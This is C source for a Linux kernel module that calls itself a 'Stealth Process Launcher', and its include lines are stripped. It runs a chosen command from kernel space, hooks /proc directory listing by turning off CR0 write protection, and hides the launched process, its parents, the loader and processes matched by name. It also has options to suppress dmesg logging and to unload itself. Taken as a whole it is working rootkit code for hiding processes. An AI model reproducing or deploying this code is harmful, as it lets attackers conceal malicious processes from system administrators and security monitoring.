#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely"); MODULE_VERSION("0.1"); /* Module parameters */ static char* target_cmd = NULL; module_param(target_cmd, charp, 0644); MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")"); static char* hide_pattern = NULL; module_param(hide_pattern, charp, 0644); MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")"); /* Flags to enable features */ static int disable_dmesg = 1; module_param(disable_dmesg, int, 0644); MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)"); static int hide_loader = 1; module_param(hide_loader, int, 0644); MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)"); static int auto_cleanup = 1; module_param(auto_cleanup, int, 0644); MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)"); /* Force unload param - set to 1 to force module unload */ static int force_unload = 0; MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy"); /* Data structures for hidden processes */ #define MAX_HIDDEN_PROCS 50 static pid_t hidden_pids[MAX_HIDDEN_PROCS]; static int num_hidden_pids = 0; static DEFINE_SPINLOCK(hidden_pids_lock); /* Variables for hiding from /proc */ static struct file_operations *proc_fops; static filldir_t orig_proc_filldir; static int (*orig_iterate_shared)(struct file *, struct dir_context *); static struct path proc_path; /* Variables for dmesg hiding */ static int (*orig_printk)(const char *fmt, ...); /* Variables for auto-cleanup */ static pid_t target_pid = 0; static struct timer_list cleanup_timer; static struct workqueue_struct *cleanup_wq = NULL; static struct work_struct cleanup_work; static int module_exiting = 0; /* Check if PID should be hidden */ static int is_pid_hidden(pid_t pid) { int i, hidden = 0; spin_lock(&hidden_pids_lock); for (i = 0; i < num_hidden_pids; i++) { if (hidden_pids[i] == pid) { hidden = 1; break; } } spin_unlock(&hidden_pids_lock); return hidden; } /* Check if a process should be hidden based on its name */ static int should_hide_by_name(struct task_struct *task) { if (!hide_pattern || !*hide_pattern) return 0; if (strstr(task->comm, hide_pattern)) return 1; return 0; } /* Add a PID to the hidden list */ static int hide_pid(pid_t pid) { int ret = -ENOSPC; spin_lock(&hidden_pids_lock); if (num_hidden_pids < MAX_HIDDEN_PROCS) { hidden_pids[num_hidden_pids++] = pid; ret = 0; } spin_unlock(&hidden_pids_lock); return ret; } /* Hide all processes in a chain starting from the given PID */ static void hide_process_family(pid_t pid) { struct task_struct *task; struct task_struct *parent; task = pid_task(find_vpid(pid), PIDTYPE_PID); if (!task) return; hide_pid(pid); /* Hide parent processes if requested */ if (hide_loader) { parent = task->parent; while (parent && parent->pid != 1) { /* Stop at init */ hide_pid(parent->pid); parent = parent->parent; } } } /* Find and hide processes by name pattern */ static void hide_processes_by_pattern(void) { struct task_struct *task; if (!hide_pattern || !*hide_pattern) return; for_each_process(task) { if (should_hide_by_name(task)) { hide_pid(task->pid); } } } /* Check if a process is still running */ static int is_process_running(pid_t pid) { struct task_struct *task; task = pid_task(find_vpid(pid), PIDTYPE_PID); return task != NULL; } /* Force release all resources to allow module unload */ static void force_release_resources(void) { module_exiting = 1; /* Cancel timer if active */ del_timer_sync(&cleanup_timer); /* Cancel and destroy workqueue */ if (cleanup_wq) { cancel_work_sync(&cleanup_work); flush_workqueue(cleanup_wq); destroy_workqueue(cleanup_wq); cleanup_wq = NULL; } /* Unhook /proc operations */ if (proc_fops && orig_iterate_shared) { write_cr0(read_cr0() & ~0x10000); proc_fops->iterate_shared = orig_iterate_shared; write_cr0(read_cr0() | 0x10000); /* Release path */ path_put(&proc_path); } /* Release other resources as needed */ } /* Check the force_unload parameter */ static int param_set_force_unload(const char *val, const struct kernel_param *kp) { int ret; /* Standard handler for setting the parameter */ ret = param_set_int(val, kp); if (ret) return ret; /* If force_unload is set to 1, initiate forced unload */ if (force_unload) { force_release_resources(); force_unload = 0; /* Reset to avoid repeated calls */ } return 0; } /* Register custom parameter handler */ static const struct kernel_param_ops force_unload_ops = { .set = param_set_force_unload, .get = param_get_int, }; module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644); /* Custom filldir function to filter directory entries */ static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { char *endp; long pid; /* Check if module is exiting */ if (module_exiting) return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); /* Check if this is a PID directory */ pid = simple_strtol(name, &endp, 10); if ((*endp == '\0') && is_pid_hidden(pid)) { /* This is a hidden PID - skip it */ return 0; } /* Not hidden, call original filldir */ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); } /* Custom iterate_shared function to hook directory listing */ static int proc_iterate_shared(struct file *file, struct dir_context *ctx) { /* Check if module is exiting */ if (module_exiting) return orig_iterate_shared(file, ctx); /* Replace filldir with our version */ orig_proc_filldir = ctx->actor; ctx->actor = (filldir_t)proc_filldir; /* Call original handler */ return orig_iterate_shared(file, ctx); } /* Hook the /proc directory */ static void hook_proc(void) { /* Get the path to /proc */ if (kern_path("/proc", 0, &proc_path)) { return; } /* Get operations table and save original */ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; orig_iterate_shared = proc_fops->iterate_shared; /* Replace with our version */ write_cr0(read_cr0() & ~0x10000); /* Disable write protection */ proc_fops->iterate_shared = proc_iterate_shared; write_cr0(read_cr0() | 0x10000); /* Re-enable write protection */ } /* Unhook the /proc directory */ static void unhook_proc(void) { if (proc_fops && orig_iterate_shared) { /* Restore original function */ write_cr0(read_cr0() & ~0x10000); proc_fops->iterate_shared = orig_iterate_shared; write_cr0(read_cr0() | 0x10000); } /* Release path */ path_put(&proc_path); } /* Safe string copy for kernel */ static char *safe_strncpy(char *dest, const char *src, size_t n) { size_t i; if (!dest || !src || n <= 0) return dest; for (i = 0; i < n - 1 && src[i]; i++) dest[i] = src[i]; dest[i] = '\0'; return dest; } /* Cleanup work function - unloads the module */ static void cleanup_module_work(struct work_struct *work) { if (!module_exiting) module_put(THIS_MODULE); } /* Timer function to check if target process has finished */ static void cleanup_timer_fn(struct timer_list *t) { /* Skip if module is exiting */ if (module_exiting) return; /* Check if the target process is still running */ if (target_pid > 0 && !is_process_running(target_pid)) { /* Process has finished, schedule module unload */ queue_work(cleanup_wq, &cleanup_work); } else { /* Process still running, check again in 1 second */ mod_timer(&cleanup_timer, jiffies + HZ); } } /* Execute the target command and hide it */ static int launch_stealth_process(void) { char *path = NULL; char *argv[32]; char *envp[5]; int argc = 0; char *cmd_copy, *token, *cmd_ptr; pid_t child_pid; if (!target_cmd || !*target_cmd) { return -EINVAL; } /* Make a copy of the command string */ cmd_copy = kstrdup(target_cmd, GFP_KERNEL); if (!cmd_copy) { return -ENOMEM; } /* First, let's try to parse as a simple command (like "sleep 120") */ cmd_ptr = cmd_copy; /* Get the path/command */ token = strsep(&cmd_ptr, " \t"); if (token) { path = token; argv[argc++] = path; /* Parse arguments */ while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) { if (*token != '\0') { argv[argc++] = token; } } } /* Null-terminate the argument list */ argv[argc] = NULL; /* Set up environment */ envp[0] = "HOME=/"; envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin"; envp[2] = "TERM=linux"; envp[3] = NULL; /* If we couldn't parse a command, give up */ if (!path) { kfree(cmd_copy); return -EINVAL; } /* Check if we need to use a shell */ if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') || strchr(target_cmd, '|') || strchr(target_cmd, '>') || strchr(target_cmd, '<') || strchr(target_cmd, '&')) { /* Complex command, use bash -c */ kfree(cmd_copy); argv[0] = "/bin/bash"; argv[1] = "-c"; argv[2] = (char *)target_cmd; argv[3] = NULL; child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } else { /* Simple command, use direct execution */ child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC); kfree(cmd_copy); } /* Hide the process family if successful */ if (child_pid > 0) { hide_process_family(child_pid); /* Store target PID for auto-cleanup */ if (auto_cleanup) { target_pid = child_pid; /* Start cleanup timer */ timer_setup(&cleanup_timer, cleanup_timer_fn, 0); mod_timer(&cleanup_timer, jiffies + HZ); } } return child_pid; } static int __init stealth_launcher_init(void) { pid_t my_pid; /* Initialize module_exiting flag */ module_exiting = 0; /* Hide this module's loader process */ if (hide_loader) { my_pid = current->pid; hide_process_family(my_pid); } /* Hook /proc to hide processes */ hook_proc(); /* Hide any processes matching the pattern */ hide_processes_by_pattern(); /* Set up auto-cleanup workqueue */ if (auto_cleanup) { cleanup_wq = create_singlethread_workqueue("cleanup_wq"); if (!cleanup_wq) { auto_cleanup = 0; } else { INIT_WORK(&cleanup_work, cleanup_module_work); /* Ensure module cannot be unloaded while timer is running */ try_module_get(THIS_MODULE); } } /* Launch the target process if specified */ if (target_cmd && *target_cmd) { launch_stealth_process(); } return 0; } static void __exit stealth_launcher_exit(void) { /* Set exiting flag */ module_exiting = 1; /* Cancel timer if active */ del_timer_sync(&cleanup_timer); if (cleanup_wq) { /* Ensure all cleanup work is processed */ cancel_work_sync(&cleanup_work); flush_workqueue(cleanup_wq); destroy_workqueue(cleanup_wq); } /* Unhook everything */ unhook_proc(); } module_init(stealth_launcher_init); module_exit(stealth_launcher_exit);